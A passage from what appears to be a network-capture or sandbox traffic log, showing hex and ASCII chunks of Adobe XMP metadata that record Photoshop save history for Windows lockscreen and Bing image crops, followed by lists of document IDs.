2022-07-20 17:31:06 UTC	1792	IN	Data Raw: 31 2d 32 37 54 30 38 3a 35 35 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 37 54 30 39 3a 30 35 3a 31 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 Data Ascii: 1-27T08:55:33-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-01-27T09:05:10-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb
2022-07-20 17:31:06 UTC	1840	IN	Data Raw: 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 30 30 38 35 37 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 35 30 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 39 34 32 33 30 32 34 5f 31 39 32 30 78 31 30 38 30 32 36 32 32 44 30 30 36 39 37 44 43 37 37 42 46 37 39 36 33 43 38 44 43 34 34 45 39 32 41 36 32 2e 70 73 62 20 73 61 76 65 64 Data Ascii: Edge-NAAEE_GettyImages-530085757_1920x1080.jpg saved 2017-02-23T09:50:25-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Edge-NAAEE_GettyImages-149423024_1920x10802622D00697DC77BF7963C8DC44E92A62.psb saved
2022-07-20 17:31:06 UTC	2199	IN	Data Raw: 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 6d 6e 74 2d 41 70 72 69 6c 5f 35 30 30 70 78 2d 31 31 34 32 32 30 36 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 32 3a 30 37 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 6d 6e 74 2d 41 70 72 69 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 36 39 36 39 32 30 39 5f 31 39 32 30 78 31 30 38 30 34 42 39 39 32 36 36 32 44 43 33 34 41 44 39 32 43 30 Data Ascii: HOSEN\MIT-SpringEntmnt-April_500px-114220663_1920x1080.jpg saved 2017-03-14T12:07:34-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-SpringEntmnt-April_GettyImages-476969209_1920x10804B992662DC34AD92C0
2022-07-20 17:31:06 UTC	2309	IN	Data Raw: 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 39 38 37 35 31 33 31 5f 31 39 32 30 78 31 30 38 30 5f 77 74 72 6d 72 6b 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 39 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 31 34 34 32 39 33 5f 31 39 32 30 78 31 30 38 30 35 39 41 41 44 33 32 31 32 43 45 45 35 33 45 42 39 30 30 32 44 33 33 35 Data Ascii: ork\CHOSEN\BingAtWork_GettyImages-149875131_1920x1080_wtrmrk.jpg saved 2017-04-12T15:59:47-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_BingAtWork_GettyImages-137144293_1920x108059AAD3212CEE53EB9002D335
2022-07-20 17:31:06 UTC	2863	IN	Data Raw: 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 43 48 4f 53 45 4e 5c 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 37 38 38 33 34 36 35 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 35 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 31 36 37 35 35 Data Ascii: Windows10\Windows\CreatorsUpdate\CHOSEN\Win-CreatorsUpdate_GettyImages-678834655_1920x1080.jpg saved 2017-05-11T10:45:42-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Win-CreatorsUpdate_GettyImages-5116755
2022-07-20 17:31:06 UTC	2871	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 35 36 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 38 3a 34 36 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: xA;2017-05-15T15:56:02-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-05-15T18:46:34-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-20 17:31:06 UTC	2887	IN	Data Raw: 74 74 65 72 73 74 6f 63 6b 5f 33 38 31 34 39 37 38 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 32 3a 32 30 3a 31 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4f 66 66 69 63 65 33 36 35 2d 47 65 6e 65 72 69 63 53 70 6f 74 6c 69 67 68 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 35 39 34 38 37 35 39 33 5f 31 39 32 30 78 31 30 38 30 34 34 46 32 32 33 30 32 36 30 34 45 37 30 34 30 46 31 44 37 31 41 34 46 46 30 44 39 42 37 44 31 2e 70 73 62 20 73 61 76 65 Data Ascii: tterstock_381497854_1920x1080.jpg saved 2017-07-09T12:20:14-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Office365-GenericSpotlight_GettyImages-459487593_1920x108044F22302604E7040F1D71A4FF0D9B7D1.psb save
2022-07-20 17:31:06 UTC	2903	IN	Data Raw: 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 34 35 30 38 32 33 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 30 3a 35 39 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 39 36 34 32 37 30 32 5f 31 39 32 30 78 31 30 38 30 Data Ascii: Windows10\Bing\SpotlightQuiz\_CHOSEN\Crops\BingSpotlightQuiz_GettyImages-504508230_1920x1080.jpg saved 2017-07-31T10:59:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\SpotlightQuiz\_CHOSEN\Crops\BingSpotlightQuiz_GettyImages-519642702_1920x1080
2022-07-20 17:31:06 UTC	2911	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 37 5c 52 41 57 53 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 37 5f 45 6e 63 68 61 6e 74 6d 65 6e 74 4d 74 6e 73 57 41 5f 4f 66 66 73 65 74 5f 31 33 34 35 31 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 36 54 31 35 3a 34 33 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 Data Ascii: File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch7\RAWS\Crops\Lock2017-B7_EnchantmentMtnsWA_Offset_134513_1920x1080.jpg saved 2017-08-16T15:43:04-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017
2022-07-20 17:31:06 UTC	2927	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 39 2d 32 37 54 31 32 3a 31 36 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 37 54 31 32 3a 32 30 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: xA;2017-09-27T12:16:02-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-09-27T12:20:13-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-20 17:31:06 UTC	2943	IN	Data Raw: 65 72 5c 5f 4d 49 54 2d 54 68 61 6e 6b 73 67 69 76 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 30 31 38 32 39 36 5f 31 39 32 30 78 31 30 38 30 37 38 38 44 45 30 46 31 30 34 33 39 37 36 41 38 42 32 30 37 31 46 34 37 36 42 42 32 46 45 45 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 39 54 31 31 3a 34 36 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 54 68 61 6e 6b 73 67 69 76 69 6e 67 5c 4e 6f 76 32 30 31 37 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 68 61 6e 6b 73 67 69 76 69 6e 67 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 32 34 34 37 31 35 30 36 5f 31 39 Data Ascii: er\_MIT-Thanksgiving_GettyImages-160018296_1920x1080788DE0F1043976A8B2071F476BB2FEE5.psb saved 2017-11-09T11:46:27-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Thanksgiving\Nov2017\CHOSEN\Crops\MIT-Thanksgiving_shutterstock_324471506_19
2022-07-20 17:31:06 UTC	2951	IN	Data Raw: 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 34 34 35 35 31 31 32 34 5f 31 39 32 30 78 31 30 38 30 38 39 35 39 45 44 38 35 34 44 32 46 33 39 46 34 36 33 35 34 31 30 30 34 30 41 33 31 36 30 45 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 32 54 31 31 3a 34 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 4e 5a 2d 53 69 6e 67 2d 49 52 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 2d 49 72 65 6c 61 6e Data Ascii: \Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-BlackFriday_GettyImages-844551124_1920x10808959ED854D2F39F4635410040A3160EC.psb saved 2017-11-22T11:41:44-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\NZ-Sing-IRE\CHOSEN\Crops\MSRewards-Irelan
2022-07-20 17:31:06 UTC	2967	IN	Data Raw: 31 37 2d 31 32 2d 32 30 54 32 31 3a 34 32 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 32 3a 33 34 3a 32 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 32 3a 33 36 3a 31 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 Data Ascii: 17-12-20T21:42:07-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-12-20T22:34:28-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-12-20T22:36:17-08:00 File C:\Users\v-lizagh\MS\Windows10
2022-07-20 17:31:06 UTC	2983	IN	Data Raw: 36 30 32 30 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 30 54 31 37 3a 30 35 3a 31 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 30 54 31 39 3a 30 30 3a 33 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 Data Ascii: 60202_1920x1080.jpg saved 2018-01-30T17:05:15-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-01-30T19:00:30-08:00 File C
2022-07-20 17:31:06 UTC	2990	IN	Data Raw: 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4f 6c 79 6d 70 69 63 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 4b 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 39 30 39 33 36 31 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 32 3a 32 34 3a 30 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4f 6c 79 6d 70 69 63 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 4b 2d 57 Data Ascii: Users\v-lizagh\MS\Windows10\MIT-International\Olympics-UK\CHOSEN\Crops\MIT-UK-WinterOlympics_GettyImages-79093612_1920x1080.psd saved 2018-02-15T12:24:01-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Olympics-UK\CHOSEN\Crops\MIT-UK-W
2022-07-20 17:31:06 UTC	3006	IN	Data Raw: 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 30 33 3a 34 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c Data Ascii: ile C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-21T15:03:46-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\
2022-07-20 17:31:06 UTC	3022	IN	Data Raw: 31 44 34 42 35 30 45 41 41 45 33 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 43 33 32 35 34 31 44 38 43 33 46 44 41 38 44 33 46 46 37 46 35 39 30 31 35 31 36 36 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 44 32 44 32 36 42 46 32 43 39 31 34 46 39 43 38 32 31 30 33 39 41 41 31 34 41 41 46 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 44 38 41 39 43 38 42 35 31 42 44 41 35 41 46 39 44 36 45 30 41 38 39 34 42 41 37 42 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 45 31 44 35 36 44 42 42 46 43 44 45 43 31 31 42 34 32 36 45 46 31 45 30 44 44 31 44 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 46 46 34 39 30 35 30 34 45 43 31 39 31 35 32 33 31 45 41 43 30 34 Data Ascii: 1D4B50EAAE367</rdf:li> <rdf:li>08C32541D8C3FDA8D3FF7F5901516618</rdf:li> <rdf:li>08D2D26BF2C914F9C821039AA14AAFFA</rdf:li> <rdf:li>08D8A9C8B51BDA5AF9D6E0A894BA7BA8</rdf:li> <rdf:li>08E1D56DBBFCDEC11B426EF1E0DD1D67</rdf:li> <rdf:li>08FF490504EC1915231EAC04
2022-07-20 17:31:06 UTC	3054	IN	Data Raw: 38 35 36 32 41 44 46 43 32 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 37 38 35 31 33 41 42 41 37 46 43 33 33 42 36 44 45 30 30 31 36 42 45 38 30 35 42 34 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 38 30 30 46 31 33 30 32 32 33 32 30 34 39 44 45 45 30 35 34 37 42 42 30 45 46 44 45 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 38 35 33 31 30 44 46 39 44 43 44 44 41 43 31 36 38 42 30 36 43 36 39 39 37 39 43 39 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 38 45 42 31 34 46 43 46 34 30 37 33 43 38 43 38 32 42 34 46 44 43 32 45 31 35 43 31 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 39 34 33 46 37 33 43 32 33 43 46 30 43 39 44 30 38 35 37 33 31 34 39 36 Data Ascii: 8562ADFC2D9</rdf:li> <rdf:li>0F78513ABA7FC33B6DE0016BE805B45D</rdf:li> <rdf:li>0F800F1302232049DEE0547BB0EFDEB5</rdf:li> <rdf:li>0F85310DF9DCDDAC168B06C69979C98C</rdf:li> <rdf:li>0F8EB14FCF4073C8C82B4FDC2E15C13D</rdf:li> <rdf:li>0F943F73C23CF0C9D085731496
2022-07-20 17:31:06 UTC	3142	IN	Data Raw: 44 35 41 37 39 34 38 35 34 31 37 42 44 38 38 38 35 30 44 42 30 44 41 43 38 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 37 32 33 32 33 41 36 31 37 31 39 36 30 33 38 41 34 35 42 34 41 37 41 31 35 34 35 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 45 38 36 45 35 34 38 45 35 41 38 36 34 39 31 32 37 45 35 31 42 42 32 37 42 46 31 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 37 34 41 34 39 44 43 42 42 30 39 44 38 46 36 38 39 34 37 36 32 43 43 36 45 45 46 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 37 39 45 30 45 30 35 33 38 46 44 33 36 44 39 37 37 44 39 32 44 44 37 41 39 34 34 42 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 41 30 38 36 42 38 46 37 Data Ascii: D5A79485417BD88850DB0DAC840</rdf:li> <rdf:li>1C672323A617196038A45B4A7A1545DD</rdf:li> <rdf:li>1C6E86E548E5A8649127E51BB27BF165</rdf:li> <rdf:li>1C74A49DCBB09D8F6894762CC6EEFA4D</rdf:li> <rdf:li>1C79E0E0538FD36D977D92DD7A944BE8</rdf:li> <rdf:li>1CA086B8F7
2022-07-20 17:31:06 UTC	3158	IN	Data Raw: 33 38 42 45 39 32 44 31 37 30 32 38 33 38 44 34 32 32 41 46 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 44 43 33 43 30 38 31 35 36 38 42 35 41 44 44 41 32 39 34 35 46 41 37 30 37 30 42 44 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 32 38 42 39 33 32 43 41 39 41 31 39 44 38 44 41 41 32 38 41 38 31 31 42 30 43 36 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 36 32 46 33 33 36 41 42 30 43 42 32 42 32 41 44 36 33 45 30 30 46 30 30 34 42 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 42 45 32 35 31 31 32 38 33 42 37 42 43 33 34 36 